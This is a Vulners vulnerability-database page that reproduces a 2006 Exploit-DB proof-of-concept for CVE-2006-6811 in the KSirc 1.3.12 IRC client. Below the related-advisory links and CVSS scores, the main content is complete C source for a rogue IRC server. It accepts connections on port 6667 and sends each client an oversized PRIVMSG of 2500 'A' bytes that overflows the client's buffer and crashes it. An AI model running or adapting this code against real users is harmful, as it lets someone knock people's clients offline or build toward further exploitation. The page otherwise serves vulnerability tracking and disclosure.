KsIRC 1.3.12 - 'PRIVMSG' Remote Buffer Overflow (PoC)
🗓️ 26 Dec 2006 00:00:00Reported by Federico L. Bossi BoninType
exploitdb🔗 www.exploit-db.com👁 33 Views
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| The vulnerability of the Gentoo Linux operating system, which allows a malicious intruder to compromise the accessibility of protected information | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2006-6811 | 8 Feb 202408:16 | – | circl | |
| CVE-2006-6811 | 29 Dec 200611:00 | – | cve | |
| CVE-2006-6811 | 29 Dec 200611:00 | – | cvelist | |
| GLSA-200701-26 : KSirc: Denial of Service vulnerability | 9 Feb 200700:00 | – | nessus | |
| Mandrake Linux Security Advisory : kdenetwork (MDKSA-2007:009) | 18 Feb 200700:00 | – | nessus | |
| Ubuntu 5.10 / 6.06 LTS / 6.10 : kdenetwork vulnerability (USN-409-1) | 10 Nov 200700:00 | – | nessus | |
| KSirc: Denial of Service vulnerability | 29 Jan 200700:00 | – | gentoo | |
| CVE-2006-6811 | 29 Dec 200611:28 | – | nvd | |
| Gentoo Security Advisory GLSA 200701-26 (ksirc) | 24 Sep 200800:00 | – | openvas |
10
// KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC
//
// Federico L. Bossi Bonin
// [email protected]
// www.GlobalST.com.ar
// #0 0xb7ea8792 in KSircIOController::stdout_read () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #1 0xb7ea78c8 in KSircIOController::qt_invoke () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #2 0xb6fedba4 in QObject::activate_signal () from /usr/qt/3/lib/libqt-mt.so.3
// #3 0xb765410b in KProcess::receivedStdout () from /usr/kde/3.5/lib/libkdecore.so.4
// #4 0x081a6e60 in ?? ()
// #5 0x081a7238 in ?? ()
// #6 0xbfcb0170 in ?? ()
// #7 0x00000000 in ?? ()
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 6667
#define LEN 2500
char buffer[LEN*2];
void sendbuff(int sock) {
char ptr[LEN*2];
memset(buffer,0x0,sizeof(buffer));
memset(ptr,0x0,sizeof(ptr));
memset(ptr,0x41,LEN);
sprintf(buffer,"PRIVMSG USER:%s\n\r",ptr);
read(sock,ptr,sizeof(ptr));
write(sock,buffer,sizeof(buffer));
}
int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("error socket()");
exit(1);
}
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);
if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
perror("error bind()");
exit(1);
}
printf("KSirc 1.3.12 - PRIVMSG remote PoC\n");
printf("====================================\n");
printf("Listening on port %i\n",PORT);
listen(sockfd,5);
len = sizeof(client);
while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0) {
perror("error accept()");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("fork()");
exit(1);
}
if (pid == 0) {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
}
return 0;
}
// milw0rm.com [2006-12-26]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Dec 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
CVSS 3.16.5
EPSS0.10304